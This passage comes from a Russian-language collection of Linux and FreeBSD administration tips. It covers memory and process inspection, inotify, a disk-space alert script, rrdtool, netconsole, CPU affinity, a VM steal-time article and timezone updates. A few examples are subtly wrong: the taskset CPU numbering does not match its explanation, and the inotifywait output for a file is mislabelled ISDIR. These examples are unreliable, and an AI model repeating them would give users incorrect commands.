     open (FH, "/dev/tty" )
     or eval 'sub Term::ReadLine::findConsole { ("&STDIN", "&STDERR") }';
     die $@ if $@;
     close (FH);
    
    Все будет работать без проблем.
    
     
    ----* Просмотр в Linux списка совместно используемых библиотек, загруженных в память   [комментарии]
     
    Утилита memstat сканирует содержимое /proc и генерирует список запущенных программ, используемых 
    разделяемых библиотек и прочих объектов находящихся в памяти (например, шрифты,
    области разделяемой памяти, файлы локали),
    отображает занимаемую ими память, позволяет оценить степень
    совместного использования библиотек.
    
    Программа в Debian и Ubuntu находится в пакете memstat. 
    При запуске, чтобы вывод не обрезался по границе экрана, нужно использовать опцию '-w'.
    
    Вывод с группировкой по библиотекам:
       memstat -w|grep PID|sort -k 4|less
    
    Вывод с сортировкой по размеру:
       memstat -w|sort -r -n -k 1|less
    
    Вывод с сортировкой по числу использующих объект процессов:
    
       memstat -w|grep -v PID| perl -ne '$a=$_;s/\d+/|/g;s/[^|]//g; print length($_)-1 . " $a";' \
       |awk '{print $1 "\t" $2 "\t" $3}'|sort -n -r -k 1|less
    
     
    ----* Слежение за изменением файлов и директорий в Linux shell   [комментарии]
     
    Пакет inotify-tools содержит две полезные утилиты:
    
    inotifywait - ожидать наступления определенного события в файле или дирекотории. 
    
    inotifywatch - слежение за статистикой изменений и вывод суммарных данных.
    
    Утилиту inotifywait  удобно использовать в скриптах, например, когда нужно дождаться 
    завершения внешней операции с файлом и мгновенно среагировать на изменения.
    
    Напрмер, запустим:
       inotifywait /tmp
    
    При попытке создать файл в /tmp утилита завершит работу, выдав:
    
       /tmp/ CREATE,ISDIR v31549
    
    При попытке создать директорию:
    
       /tmp/ CREATE,ISDIR 0
    
    Если необходимо следить за изменением во всех директориях в пределах /tmp, 
    следует использовать флаг рекурсивного контроля "-r". 
    Для больших директорий может понадобиться расширить лимит /proc/sys/fs/inotify/max_user_watches.
    Используя опцию "--fromfile" можно загрузить список контролируемых файлов и директорий из файла.
    Опция "-e" позволяет реагировать только на определенный тип события, например,
    на удаление файла, игнорируя создание и открытие.
    Опция '-m' отменяет мгновенный выход после наступления события, что позволяет организовать 
    визуальное наблюдение или обработку в цикле.
    
    Пример, скрипта для обработки изменения файла:
    
       #!/bin/sh
       inotifywait -e delete -m /tmp/lock/ | while read dir events file; do
          echo "Removed $dir$file"
       done
    
    
    При выполнении:
    
       inotifywatch /tmp
    
    и последующем завершении выполнения через задание таймаута или нажатия ctrl+c, 
    будет выведена суммарная информация по каждому из классов событий, напрмер:
    
       total  modify  close_write  close_nowrite  open  create  delete  filename
       22     3       4            1              5     4       5       /tmp/
    
    Или
    
       inotifywatch -v -e access -e modify -t 60 -r /var/log
    
    через 60 секунд выдаст:
    
       14     14      /var/log/
       2      2       /var/log/apache2
       4      4       /var/log/postgresql
    
    Что касается кроссплатформенного решения, которое работает, не только в Linux, но и во FreeBSD, 
    можно привести пример слежения за изменением файла используя Perl модуль EV (http://search.cpan.org/dist/EV/),
    использующий универсальную библиотеку-враппер libev:
    
       #!/usr/bin/perl
    
       use strict;
       use EV;
    
       # Следим за изменениями в директории /tmp/watch
       # 0 - интервал опроса по умолчанию
       my $w = EV::stat "/tmp/watch", 0,
       sub {
                my ($w, $revents) = @_;
                warn $w->path, " has changed somehow.".$w->attr."\n";
                $w->stop;
                # На время обработки события, прекращаем прием нотификаций. 
                .....
                $w->start;
       };
    
       EV::loop;
    
     
    ----* Пример мониторинга свободного места на диске.   Автор: Hamelion  [комментарии]
     
    Наверное, все встречались, когда на том или ином разделе жесткого диска места уже нет. А
     иногда и просто забываешь проконтролировать место на диске. 
    Данный скрипт написан по принципу настроил и забыл.
    
    #!/bin/sh
    address="root@localhost";
    cicl="2 3 4 5 6";
    # выставляем в процентах порог заполненного места для каждого раздела, 
    # при котором отсылается сообщение
    predel[2]=80;	# /
    predel[3]=80;	# /usr
    predel[4]=60;	# /var
    predel[5]=80;	# /tmp
    predel[6]=80;	# /home
    varning="0";
    
    count=0;
    df -h > /tmp/tmp_df;
    while read -r FS S Ud A U MO; do
    	let count+=1;
    	FileSystem[$count]=$FS; 
    	Size[$count]=$S;
    	Used[$count]=$Ud;
    	Avail[$count]=$A;
    	Use[$count]=$U;
    	MountedOn[$count]=$MO;
    	NUse[$count]=${Use[$count]%"%"};
    done < /tmp/tmp_df;
    table="";
    for c in $cicl; do
    	if [[ ${NUse[$c]} -ge ${predel[c]} ]]; then
    		varning="1";
      table=$table"\n${FileSystem[$c]} \t${Size[$c]} \t${Used[$c]} \t${Avail[$c]}
    \t${Use[$c]} \t${MountedOn[$c]}";
    	fi
    done
    		shapka="\nFileSystem \tSize \tUsed \tAvail \tUse \tMounted On";
    		body="Regard admin, please check, place on disk:"$shapka$table;
    		#echo -e $body;
    if [ $varning -eq "1" ]; 
        then 
    	echo -e $body | mail -s"Warning on server" $address;
    	logger -i -p cron.warn -t dfmonitor "Send warning to $address";
        else
    	logger -i -p cron.info -t dfmonitor " Place on disk in rate";
    fi
    
    
    P.S. записать в cron строчку: 
    
       20 5 * * * /sbin/dfmonitor, 
    
    с утра приходим и получаем отчет :-)
    
     
    ----* Русские символы в rrdtool   Автор: Vladimir  [комментарии]
     
    При отображении строк в RRD используется кодировка UTF-16, в которой есть
    таблица русских символов,
    соответствующая таблице CP1251, только со смещением.
    Чтобы rrdgraph смог отображать русские символы на графиках 
    необходимо внести изменения в файл src/rrd_afm.h. Находим в нем строчку
    
       #define afm_fix_osx_charset(x) (x)
    
    и заменяем на
    
       #define afm_fix_osx_charset(x) \
         ( (x) >= 128 && (x) <= 255 ? (x) + 0x0350 : (x))
    
    Таким образом, если в строке встречается символ с кодом между 127 и 256, то к
    нему применяется смещение 0x0350.
    Строки необходимо записывать в CP1251 (я использую vim с libiconv).
    
    Для работы с KOI8 необходима еще таблица перестановок из KOI8 в CP1251
    
    Для этого в файл src/rrd_afm.c добавляем описание таблицы
    const unsigned char afm_koi2win[128] = {128,129,130,131,132,133,134,135,136,
    137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,
    156,157,158,159,160,161,162,184,164,165,166,167,168,169,170,171,172,173,174,
    175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,254,224,
    225,246,228,229,244,227,245,232,233,234,235,236,237,238,239,255,240,241,242,
    243,230,226,252,251,231,248,253,249,247,250,222,192,193,214,196,197,212,195,
    213,200,201,202,203,204,205,206,207,223,208,209,210,211,198,194,220,219,199,
    216,221,217,215,218};
    
    а в src/rrd_afm.h такие строки
    
       extern const unsigned char afm_koi2win[128];
       #define afm_fix_osx_charset(c) \
         ( (c) >= 128 && (c) <= 255 ? afm_koi2win[(c) - 128] + 0x0350 : (c))
    
     
    ----* Сетевая консоль для отладки зависаний Linux (доп. ссылка 1)   Автор: niol, debian-administration.org  [комментарии]
     
    Модуль Linux ядра netconsole позволяет экспортировать консоль на другую машину по сети,
    что полезно для отладки ситуации зависания Linux без вывода диагностики в лог и
    на экран (например, X-ы зависли).
    
    В /etc/modprobe.d/ создаем файл или добавляем в /etc/modules.conf:
    
       options netconsole netconsole=32769@192.168.1.1/eth1,32769@192.168.1.6/01:23:34:56:78:9A
    
    где, 
       192.168.1.1:32769  сетевой адрес и порт на eth1 интерфейсе локальной машины, с которого будет производится отправка пакетов.
       192.168.1.6:32769 сетевой адрес, порт и MAC адрес удаленной машины куда будет экспортирована консоль.
    
    На удаленной машине 192.168.1.6, для доступа к консоли используем netcat:
    
       nc -l -p 32769 -u
    
    Подгружаем модуль netconsole:
       modprobe netconsole
    
     
    ----* Реализация команды top на Shell   Автор: rstone  [комментарии]
     
    Должно работать на любом терминале поддерживающем VT Escape 
    последовательности, проверено в Linux, True64 ,  HP-UX  и Соларисе .
    
    #!/bin/ksh
    SLEEP=$1
    FIELD=$2
    [ -z "$1" ] && SLEEP=10 
    [ -z "$2" ] && FIELD=1
    stty_save=`stty -g`
    trap "stty $stty_save ; exit; " 2 
    stty sane
    clear
    lines=`tput lines`
    lines=$((lines-5))
    DATE=`date '+%H:%M:%S'`
    echo "\t\t`tput rev``hostname` TOP $lines PROCESESS at $DATE every $SLEEP seconds`tput sgr0`"
    tput bold
    case `uname` in
            Linux)  PS_COMMAND="ps -e -o pcpu= -o cputime= -o user= -o uid= -o pid= -o pmem= -o rssize= -o comm="
                    HEADER_COMMAND="ps f  -p $$ -o pcpu,cputime,user,uid,pid,pmem,rssize,command"
                    ;;
            HP-UX)  UNIX95=1
                    export UNIX95
                    PS_COMMAND="ps -e -o pcpu= -o time= -o user= -o uid= -o pid= -o vsz= -o sz= -o comm="
                    HEADER_COMMAND="ps -p $$ -o pcpu,time,user,uid,pid,vsz,sz,comm"
                    ;;
            SunOS)  HEADER_COMMAND="ps -f -p $$ -o pcpu,time,user,uid,pid,pmem,rss,comm"
                    PS_COMMAND="ps -e -o pcpu= -o time= -o user= -o uid= -o pid= -o pmem= -o rss= -o comm="
                    ;;
    
            *)      PS_COMMAND="ps -ef -o pcpu=,cputime=,user=,uid=,pid=,pmem=,rssize=,comm="
                    HEADER_COMMAND="ps -f -p $$ -o pcpu,cputime,user,uid,pid,pmem,rssize,command"
                    ;;
    esac
    $HEADER_COMMAND | head -1
    tput sgr0
    while [ true ] ; do 
            tput cup 2 0
            tput ed
            $PS_COMMAND | sort -r -n -k"$FIELD"  | head -$lines 
            sleep $SLEEP
    done
    
     
    ----* Привязка процесса к определенному CPU в SMP системе под Linux (доп. ссылка 1)   Автор: nixcraft  [комментарии]
     
    Пример использования жесткой привязки процесса к определенному процессору  (CPU affinity).
    
    Устанавливаем пакет schedutils
    (Debian: apt-get install schedutils, Red Hat: up2date schedutils или rpm -ivh schedutils*)
    
    Привязка процесса с pid 13545 к первому CPU (#0):
       taskset -c 1 -p 13545
    к 3 и 4 CPU (#2 и #3):
       taskset -c 3,4 -p 13545
    
    Загрузку процессоров в SMP системе удобно оценивать через утилиту mpstat из пакета sysstat.
        mpstat -P ALL
    
    Утилизацию подсистемы ввода/вывода можно посмотреть через команду iostat
    
     
    ----* Как более детально посмотреть сколько программа потребляет памяти   [комментарии]
     
    Linux:
       pmap <pid_процесса>
       cat /proc/<pid>/maps
       cat /proc/<pid>/status
    
    FreeBSD:
       cat /proc/<pid>/map
       cat /proc/<pid>/status
    
     
    ----* Как получить данные с роутера по SNMP, зная его IP и communitystring   Автор: cyrex  [комментарии]
     
    % snmpwalk -c communitystring -v 1 10.0.0.254
    Ключ -c указывает строку community (обычно public)
    -v задаёт версию протокола (1)
    
    Если хотите просмотреть только часть дерева то можно задать вот так:
    % snmpwalk -c community -v 1 -m iso.3.6.1.2.1.6.13.1.2 10.0.0.254
    
     
    ----* Построение графиков из rrdtool. Подсчёт суммарного трафика   Автор: cyrex  [комментарии]
     
    Пусть имеется созданная rrd база в файле /path/to/file.rrd (man rrdcreate),
    в которой содержатся 2 столбца данных ifinoctets и ifoutoctets 
    (число входящих и исходящих пакетов на интерфейсе за минуту). Как обновлять man rrdupdate.
    Задача: требуется отобразить это графически с подписью данных, а так же суммарным трафиком
    и средней загрузкой канала.
    Создаётся график следующим образом:
    
    #!/bin/sh
    /usr/local/bin/rrdtool graph /tmp/picture.png  --end now --start -1d \
        --width 500 --height 600 --imgformat PNG \
        --title "title"  --rigid  --color BACK#FAFAFA  \
        DEF:ifino=/path/to/file.rrd:ifinoctets:AVERAGE   \
        DEF:ifouto=/path/to/file.rrd:ifoutoctets:AVERAGE   \
        CDEF:ifino1=ifino,60,/                      \
        CDEF:ifouto1=ifouto,60,/                    \
        VDEF:sumin=ifino1,TOTAL                     \
        VDEF:sumout=ifouto1,TOTAL                   \
        VDEF:maxin=ifino1,MAXIMUM                   \
        VDEF:maxout=ifouto1,MAXIMUM                 \
        VDEF:avgin=ifino1,AVERAGE                   \
        VDEF:avgout=ifouto1,AVERAGE                 \
        AREA:ifino1#00FF00:"In"           \
        GPRINT:maxin:"Max=%lf%s"          \
        GPRINT:avgin:"Avg=%lf%s"          \
        GPRINT:sumin:"Sum=%lf%sl"         \
        LINE1:ifouto1#0000FF:"Out"        \
        GPRINT:maxout:"Max=%lf%s"         \
        GPRINT:avgout:"Avg=%lf%s"         \
        GPRINT:sumout:"Sum=%lf%s\l"              
    
    Результатом работы данного скрипта будет создание графика входящих и сходящих пакетов
    на интерейсе(в байт/сек), а так же будут отражены на графике средняя загрузка,
    пиковые значения и суммарный трафик  через интрефейс.
    подробнее об параметрах в man rrdgraph,man rrdgraph_rpn,man rrdgraph_graph
    
     
    ----* Диагностика состояния сервера при помощи IPMI и пакета freeipmi (доп. ссылка 1)   [обсудить]
     
    Общая информация о BMC и поддержке IPMI:
       # bmc-info
    
    Состояние сенсоров (температура, вольтаж, проблемы):
       # sensors
    
    Более детально:
       # sensors -vv
    
    Состояние лога событий (почему сервер начал пищать):
       # sel
    
    Чистка лога событий (чтобы не пищал):
       # sel -c
    
    Вместо freeipmi можно использовать ipmitools.
    
    Вывод поддерживаемых сервером возможностей IPMI:
    
       ipmitool -v chassis status
    
    Информация с сенсоров:
    
       ipmitool sensor
    
    Статус сенсоров:
    
       ipmitool sdr list all
    
    Вывод FRU:
    
       ipmitool fru
    
     
    ----* Как не разбирая корпус посмотреть модель материнской платы (доп. ссылка 1)   Автор: Anton V. Yuzhaninov  [комментарии]
     
    1. Просмотреть содержимое BIOS (проверял под Linux и FreeBSD)
        dd if=/dev/mem bs=64k skip=15 count=1 | strings | less
    в первых строчках обычно упоминается название материнской платы.
    
    2. Воспользоваться утилитой dmidecode
    
     
    ----* Просмотр информации оборудовании через /proc в Linux (доп. ссылка 1)   [комментарии]
     
      cat /proc/cpuinfo
      cat /proc/meminfo
      cat /proc/ide/via
      cat /proc/ide/ide0/hda/geometry
      cat /proc/ide/drivers
      cat /proc/sys/dev/cdrom/info
      cat /proc/scsi/scsi
    
     
    ----* Как посмотреть параметры видеокарты (доп. ссылка 1)   [комментарии]
     
    xdpyinfo
    glxinfo
    xvinfo 
    
     
    ----* Как оценить величину трафика и состояние системы в динамике для FreeBSD   [комментарии]
     
    Динамика изменения параметров:
    
       netstat -w 1
       iostat -w 1
       vmstat -w 1
       gstat
    
    Состояние буферов:
    
       vmstat -z
       netstat -m
       netstat -Lan
       netstat -s -p tcp
    
     
    ----* Какую расширенную информацию о процессе можно получить.   [комментарии]
     
    Определяем родителя: 
        ps -lp <pid>  (в Linux есть утилита ptree)
    Определяем какие файлы открыты:
        fstat -p <pid> (freebsd)
        lsof -p <pid>
    Определяем какие сетевые сокеты сопоставлены с процессом:
        sockstat| grep <pid> (freebsd)
        netstat -pan| grep <pid> (linux)
        lsof -i -n|grep <pid>
         
    
     
    ----* Как отследить запущенные пользователями программы (доп. ссылка 1)   Автор: uldus  [обсудить]
     
    Включение контроля выполняемых процессов в FreeBSD:
       rc.conf
          accounting_enable="YES"
    
       periodic.conf
          daily_accounting_enable="YES"  # Rotate acct files
          daily_accounting_compress="NO"  # Gzip rotated files
          daily_accounting_flags=-q  # Flags to /usr/sbin/sa
          daily_accounting_save=3   # How many files to save
          monthly_accounting_enable="YES"  # Login accounting
    
    В Linux (пакет acct или psacct): 
       service acct start
    или руками
      /sbin/accton /var/log/pacct
    
    Просмотр статистики через команды sa, lastcomm, last-acct, dump-acct, ac (ac
    -p, sa -u, sa -m, sa -f). Например:
    
       Загрузка системы пользователями
          ac -p|awk '{print $2 "\t" $1}'|sort -r -n
          /usr/sbin/sa -m| perl -n -e 's/[\t ]+/\t/g;print $_;'
    
       Топ загрузки системы скриптами пользователей
          /usr/sbin/sa -u|awk '{print $8 "\t\t(" $1 ")"}'|sort| uniq -c|sort -n -r
    
       Загрузка системы всеми программами
          /usr/sbin/sa -f
    
     
    ----* Как посмотреть список установленных локов в системе.   [обсудить]
     
    Используйте утилиту lslk
    
     
    ----* Что обозначают буквы в поле STAT при запуске ps -aux или top ?   [комментарии]
     
    R - Процесс выполняется в данный момент
    S - Процесс ожидает выполнение (спит)
    D - Процесс в полной (непрерываемой) спячке, например, ожидает ввода/вывода
    Z - zombie или defunct процесс, т.е. процесс у которого нет родителя.
    T - Процесс остановлен.
    W - процесс в свопе
    < - процесс в приоритетном режиме.
    N - процесс в режиме низкого приоритета
    L - real-time процесс, имеются страницы заблокированные в памяти.
    
     
    ----* Как в FreeBSD посмотреть состояние системных буферов   [обсудить]
     
    sysctl vm.zone
    
     
    ----* Как в FreeBSD узнать значения LoadAverage, объем свободного ОЗУ и т.д.   [комментарии]
     
    sysctl vm.stats.vm.v_active_count
    sysctl vm.stats.vm.v_inactive_count
    sysctl vm.stats.vm.v_wire_count
    sysctl vm.stats.vm.v_cache_count
    sysctl vm.stats.vm.v_free_count
    sysctl vm.stats.vm.v_page_count
    более подробно: 
    	sysctl -a|grep vm
    	sysctl| less
    
     
    ----* Как узнать аппаратную конфигурацию (ОЗУ, CPU и т.д.) машины под FreeBSD   [комментарии]
     
    sysctl -a | grep hw
    
     
    ----* Как в FreeBSD более подробно ознакомится с поддержкой аппаратного устройства   [обсудить]
     
    man 4 имя_устройства.
    примеры: man 4 fxp; man 4 rl; man 4 ed; man 4 amr; man 4 pcm; man 4 cd; man 4 tty; man 4 sio;
    
     
    ----* Команды для аккаутинга   [обсудить]
     
    Сколько CPU времени использовал каждый юзер в системе
    	ac -p
    Какие команды запускал каждый пользователь и сколько CPU и памяти 
    было использовано при их выполнении:
    	sa -u
    
     
    ----* Как получить список всех PCI и USB устройств на машине   [комментарии]
     
    lspci
    lspci -vvv
    lsusb
    lsusb -vvv
    scanpci
    lshw
    lspcidrake
    
     
    ----* Замечание по утилите lsof   [обсудить]
     
    Ключи:
    -U - unix socket
    -i inet формат:
    	tcp_или_udp@host:port, например: tcp:25, @192.168.1.1
    Примеры:
    Список всех открытых файлов: lsof
    Все процессы использующие файл: lsof file
    Какие процессы используют internet и unix domain сокеты: lsof -i -U
    Все открытые файлы для юзера: lsof -l user
    ...для процесса 12: lsof -p 12
    
     
    ----* Как посмотреть какие файлы открыты заданным процессом   [обсудить]
     
    ls /proc/ID_процесса/fd
    lsof -p ID_процесса
    
     
    ----* Как посмотреть какие процессы используют заданный файл   [обсудить]
     
    fuser file
    
     
    ----* Как посмотреть какой сокет заняла какая программа   [комментарии]
     
    для всех:  
    	lsof -i -U
    	fuser <port_num>/tcp
    для linux: 
    	netstat -pvlA inet
    для FreeBSD:
            sockstat
    
     
    ----* Откуда берется steal внутри виртуальных машин и что с этим делать (доп. ссылка 1)   Автор: Mail.Ru Cloud Solutions  [комментарии]
     
    CPU steal time - это время, в течение которого виртуальная машина не получает
    ресурсы процессора для своего выполнения. Это время считается только в гостевых
    операционных системах в средах виртуализации.
    
    Что такое steal
    
    Steal  - это метрика, указывающая на нехватку процессорного времени для
    процессов внутри виртуальной машины. Как описано в патче ядра KVM, steal -
    это время, в течение которого гипервизор выполняет другие процессы на хостовой
    операционной системе, хотя он поставил процесс виртуальной машины в очередь на
    выполнение. То есть steal считается как разница между временем, когда процесс
    готов выполниться, и временем, когда процессу выделено процессорное время.
    
    Метрику steal ядро виртуальной машины получает от гипервизора. При этом
    гипервизор не уточняет, какие именно другие процессы он выполняет, просто
    "пока занят, тебе времени уделить не могу". На KVM поддержка подсчёта
    steal добавлена в патчах. Ключевых моментов здесь два:
    
    1.   Виртуальная машина узнает о steal от гипервизора. То есть, с точки зрения
    потерь, для процессов на самой виртуалке это непрямое измерение, которое может
    быть подвержено различным искажениям.
    
    2.   Гипервизор не делится с виртуалкой информацией о том, чем он занят -
    главное, что он не уделяет время ей. Из-за этого сама виртуалка не может
    выявить искажения в показателе steal, которые можно было бы оценить по
    характеру конкурирующих процессов.
    
    Как вычислить steal
    
    По сути, steal считается как обычное время утилизации процессора. В ядре
    добавляется ещё один счетчик непосредственно для процесса KVM (процесса
    виртуальной машины), который считает длительность пребывания процесса KVM в
    состоянии ожидания процессорного времени. Счетчик берет информацию о процессоре
    из его спецификации и смотрит, все ли его тики утилизированы процессом
    виртуалки. Если все, то считаем, что процессор занимался только процессом
    виртуальной машины. В ином случае информируем, что процессор занимался чем-то
    еще, появился steal.
    Подробнее читайте в статье Brendann Gregg.
    
    Как мониторить steal
    
    Мониторить steal внутри виртуальной машины можно как любую другую процессорную
    метрику. Главное, чтобы виртуалка была на Linux. Windows  такую информацию не предоставляет.
    
    Сложность возникает при попытке получить эту информацию с гипервизора. Можно
    попробовать спрогнозировать steal на хостовой машине, например, по параметру
    Load Average (LA) - усредненного значения количества процессов, ожидающих в
    очереди на выполнение. Методика подсчета этого параметра непростая, но в целом
    пронормированный по количеству потоков процессора LA > 1 указывает на
    перегрузку Linux-сервера.
    
    Чего же ждут все эти процессы? Очевидный ответ - процессора. Но иногда
    процессор свободен, а LA зашкаливает. На самом деле, процессы могут ожидать
    окончания любой блокировки, как физической, связанной с устройством
    ввода/вывода, так и логической, например мьютекса. Туда же относятся блокировки
    на уровне железа (того же ответа от диска) или логики (так называемых
    блокировочных примитивов).
    
    Ещё одна особенность LA в том, что оно считается как среднее значение по ОС,
    причём не меньше, чем за минуту. Например, 100 процессов конкурируют за один
    файл, тогда LA=50. Такое большое значение, казалось бы, говорит, что ОС плохо.
    Но для криво написанного кода это может быть нормой - плохо только ему, а
    другие процессы не страдают. Из-за этого усреднения (причём не меньше, чем за
    минуту), определение чего-либо по LA может закончиться весьма неопределенными
    результатами в конкретных случаях.
    
    Почему появляется steal и что делать
    
    Остановимся на основных причинах появления steal, с которыми мы столкнулись при
    работе с облачной платформой MCS, и способах борьбы с ними.
    
    Переутилизация. Самое простое и частое - много запущенных виртуальных машин,
    большое потребление процессора внутри них, большая конкуренция, утилизация по
    LA больше 1 (в нормировке по процессорным тредам). Внутри всех виртуалок всё
    тормозит. Steal, передаваемый с гипервизора, также растёт, надо
    перераспределять нагрузку или кого-то выключать.
    При этом нужно учитывать, что соотношение нагрузки на гипервизоре и steal
    внутри виртуальной машины не всегда однозначно взаимосвязаны. Обе оценки steal
    могут быть ошибочными в конкретных ситуациях при разных нагрузках.
    
    Паравиртуализация против одиноких инстансов. На гипервизоре одна единственная
    виртуалка, она потребляет небольшую его часть, но дает большую нагрузку по
    вводу/выводу, например по диску. И откуда-то в ней появляется небольшой steal,
    до 10%.
    
    Тут дело как раз в блокировках на уровне паравиртуализированных драйверов.
    Внутри виртуалки создается прерывание, оно обрабатывается драйвером и уходит в
    гипервизор. Из-за обработки прерывания на гипервизоре для виртуалки это
    выглядит как отправленный запрос, она готова к исполнению и ждёт процессора, но
    процессорного времени ей не дают. Виртуалка думает, что это время украдено.
    
    Это происходит в момент отправки буфера, он уходит в kernel space гипервизора,
    и мы начинаем его ждать. Хотя, с точки зрения виртуалки, он должен сразу
    вернуться. Следовательно, по алгоритму расчета steal это время считается
    украденным. Скорее всего, в этой ситуации могут быть и другие механизмы
    (например, обработка ещё каких-нибудь sys calls), но они не должны сильно отличаться.
    
    Небольшой steal можно считать нормой (даже и без паравиртуализации, с учётом
    нагрузки внутри виртуалки, особенностей нагрузки соседей, распределения
    нагрузки по тредам и прочего). Однако важно обращать внимание на то, как себя
    чувствуют приложения внутри виртуалок.
    
    Шедулер против высоконагруженных виртуалок. Когда одна виртуалка страдает от
    steal больше других, это связано с шедулером (распределением ресурсов между
    процессами) - чем сильнее процесс нагружает процессор, тем скорее шедулер
    его выгонит, чтобы остальные тоже могли поработать. Если виртуалка потребляет
    немного, она почти не увидит steal: её процесс честно сидел и ждал, ему дадут
    время. Если виртуалка дает максимальную нагрузку по всем своим ядрам, её чаще
    выгоняют с процессора и не дают много времени. Шедулер плохо относится к
    процессам, которые много просят. Большие виртуалки - зло.
    
    Низкий LA, но есть steal. LA примерно 0,7 (то есть, гипервизор, кажется
    недозагружен), но внутри отдельных виртуалок наблюдается steal:
    
    1.   Уже описанный выше вариант с паравиртуализацией. Виртуалка может получать
    метрики, указывающие на steal, хотя у гипервизора всё хорошо. По результатам
    наших экспериментов, такой вариант steal не превышает 10 % и не должен
    оказывать существенного влияния на производительность приложений внутри виртуалки.
    
    2.   Неверно считается LA. Точнее, в каждый конкретный момент он считается
    верно, но при усреднении получается заниженным. Например, если одна виртуалка
    на треть гипервизора потребляет все свои процессоры ровно полминуты, LA за
    минуту на гипервизоре будет 0,15; четыре такие виртуалки, работающие
    одновременно, дадут 0,6. А то, что полминуты на каждой из них был steal под 25
    % по LA, уже не вытащить.
    
    3.   Из-за шедулера, решившего, что кто-то слишком много ест, и пусть он
    подождет, пока я займусь другими важными системными вещами. В итоге одни
    виртуалки не видят никаких проблем, а другие испытывают серьезную деградацию производительности.
    
    Другие искажения
    
    Есть другие причины для искажений честной отдачи процессорного времени на
    виртуалке. Например, сложности в расчёты вносят гипертрединг и NUMA. Они
    запутывают выбор ядра для исполнения процесса, потому что шедулер использует
    коэффициенты - веса, которые при переключении контекста выполняют
    усложнённый подсчёт.
    
    Бывают искажения из-за технологий типа турбобуста или, наоборот, режима
    энергосбережения, которые при подсчёте утилизации могут искусственно повышать
    или понижать частоту или даже квант времени на сервере. Включение турбобуста
    уменьшает производительность одного процессорного треда из-за увеличения
    производительности другого. В этот момент информация об актуальной частоте
    процессора виртуальной машине не передается, и она считает, что её время кто-то
    тырит (например, она запрашивала 2 ГГц, а получила вдвое меньше).
    
    В общем, причин искажений может быть много. Чтобы выяснить steal в конкретной
    системе, исследуйте различные варианты, собирайте метрики, тщательно их
    анализируйте и продумывайте, как равномерно распределять нагрузку. От любых
    кейсов возможны отклонения, которые надо подтверждать экспериментально или
    смотреть в отладчике ядра. Начать лучше с книг, на которые я дал линки выше, и
    съёма статистики с гипервизора утилитами типа perf, sysdig, systemtap, коих десятки.
    
     

       Установка и синхронизация времени

    ----* Решение проблемы со шрифтами в Steam после выставления времени после 2038 года (доп. ссылка 1)   [комментарии]
     
    Некоторые игры позволяют получать достижения если не запускать игру несколько
    лет, например,  The Stanley Parable содержит достижение, активируемое после 5
    лет неактивности, а Ultra Deluxe - после 10. Для получения указанных бонусов
    обычно переводят часы на необходимое время вперёд, запускают игру для фиксации
    достижения и возвращают время назад.
    
    Проблема в том, что если время изменено на момент после 2038 года, подобная
    манипуляция приводит к смене в интерфейсе Steam шрифта, и выставленный шрифт
    может оказаться экзотическим, что мешает восприятию информации.
    
    Указанный эффект связан с отсутствием в некоторых приложениях, и в частности в
    fontconfig, поддержки корректной работы после 2038 года из-за переполнения
    32-разрядного типа данных  time_t. Наличие проблемы выражается в выводе
    сообщения об ошибке "Value too large for defined data type" при запуске
    fontconfig в случае наличия файлов с датой доступа после 2038 года.
    
       $ stat /etc/fonts/conf.d/*|grep 2040
       Access: 2040-11-22 00:00:04.110328309 +0100
       Access: 2040-11-22 00:00:04.110328309 +0100
       Access: 2040-11-22 00:00:04.110328309 +0100
       ...
    
    Для решения проблемы следует поменять ушедшее в будущее время доступа на текущее:
    
       sudo mount -o remount,strictatime /
       sudo mount -o remount,strictatime /home
       sudo find / -newerat 2038-01-19 -exec touch -a {} +
       sudo mount -o remount,relatime /
       sudo mount -o remount,relatime /home
    
    Перемонтирование с опцией "strictatime" необходимо так как по умолчанию при
    монтировании используется опция "relatime" при которой время доступа меняется
    только если обращение произведено позднее уже выставленного для файла времени доступа.
    
     
    ----* Настройка перехода на зимнее время для устаревших систем   [комментарии]
     
    В ночь с 25 на 26 октября в РФ будет осуществлён переход на постоянное зимнее
    время. Астрономический полдень сдвинется с 14 до 13 часов, темнеть в декабре
    будет в 4 часа дня, а светать в 9 утра, в июле темнеть будет в 10 вечера, а
    светать в 3 ночи. Для "сов" наступает настоящий кошмар :-)
    
    Для систем, время поддержки которых не истекло  параметры перевода часов уже
    поступили с очередным обновлением. Для устаревших систем придётся обновлять
    данные часовых поясов вручную. Обновления содержимого базы данных часовых
    поясов можно получить с сайта ftp://ftp.iana.org/tz/releases/
    
    Для ручного обновления базы часовых поясов загружаем свежую версию архива tzdata:
    
       mkdir tz
       cd tz
       wget ftp://ftp.iana.org/tz/releases/tzdata2014i.tar.gz
    
    Распаковываем:
        
        tar xzf tzdata2014i.tar.gz
    
    Смотрим . запланированы ли правила перевода часов:
    
        zdump -v Asia/Yekaterinburg |grep 2014
        
    Если команда ничего не выдала, значит в системе установлена старая база часовых
    поясов и её нужно обновить.
    
    Ищем нужный город в файлах asia или europe, географически положение может не
    совпадать, например,  Екатеринбург находится в Азии, но указан в файле europe.
    
    Компилируем часовые пояса из файла europe. Утилита zic читает текстовый файл с
    описаниями зон и на выходе формирует бинарные файлы специального формата и
    сохраняет их в директорию /usr/share/zoneinfo (изменить директорию можно флагом "-d"):
    
        zic europe
    
    Скомпилированные файлы параметров часовых поясов будут сохранены в файле
    /usr/share/zoneinfo/Asia/Yekaterinburg, который нужно скопировать в файл
    /etc/localtime, определяющий текущий часовой пояс:
    
       cp /etc/localtime /etc/localtime.old
       cp -f /usr/share/zoneinfo/Asia/Yekaterinburg /etc/localtime
    
    После обновления в выводе zdump должно появиться правило перевода часов:
    
       zdump -v Asia/Yekaterinburg |grep 2014
    
       Asia/Yekaterinburg  Sat Oct 25 19:59:59 2014 UTC = Sun Oct 26 01:59:59 2014 YEKT isdst=0 gmtoff=21600
       Asia/Yekaterinburg  Sat Oct 25 20:00:00 2014 UTC = Sun Oct 26 01:00:00 2014 YEKT isdst=0 gmtoff=18000
    
    При использовании PostgreSQL требуется не забыть обновить внутреннюю базу
    часовых поясов данной СУБД, которая расположена в директории
    /usr/local/pgsql/share/timezone (меняем
    /usr/local/pgsql/share/timezone/Asia/Yekaterinburg и перезапускаем PostgreSQL).
    В PHP может использоваться собственная база часовых поясов, в этом случае
    требуется обновить пакет http://pecl.php.net/package/timezonedb
    
    
    Дополнительно стоит обратить внимание на логику вычисления отрезков времени в
    биллинговых системах и прочих службах. С 2011 года, когда был отменён переход
